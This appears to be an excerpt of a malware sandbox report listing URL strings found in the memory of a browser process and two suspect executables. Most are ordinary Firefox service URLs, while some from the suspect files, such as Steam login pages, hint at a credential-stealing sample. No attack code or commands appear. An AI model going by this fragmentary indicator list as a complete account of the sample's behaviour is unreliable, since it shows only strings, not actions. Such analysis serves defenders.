Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2247969630.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2422233510.000001BAAEA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2503742693.00001FD578204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001B.00000002.2426918174.000001BAAEE80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2399069245.000001BAAAE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBF12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000003.2280377610.000001BAAFBB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2269772517.000001BAAFB30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2281877307.000001BAB76FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2271188439.000001BAAFB58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001B.00000003.2281210409.000001BAAFB47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001B.00000002.2432161658.000001BAAF6F0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2453306949.000001BAB0C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001B.00000002.2503061292.000007DA1BC04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2390476248.000001BA9F06B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBF12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB2259000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2247969630.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000003.2259091573.000001BAB73E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB73D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB73D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2254811680.000001BAB73E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001B.00000003.2259091573.000001BAB73E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB73D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB73D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2254811680.000001BAB73E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001B.00000003.2202413243.000001BAAEB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: file.exe, file.exe, 00000000.00000003.1604077386.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1604053421.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/st%YaK?$
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA9CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0866000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001B.00000003.2267172030.000001BAB068F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2452582358.000001BAB0B52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB068F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.2437154355.000001BAAF98F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2268082096.000001BAAF9A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%resource://gre/modules/compone
Source: firefox.exe, 0000001B.00000002.2448288655.000001BAB060A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.2504157895.0000246FEC931000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB224F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2444333151.000001BAAFF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2293000034.000001BAAFF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2284358445.000001BAAFF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.2470374731.000001BAB224F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
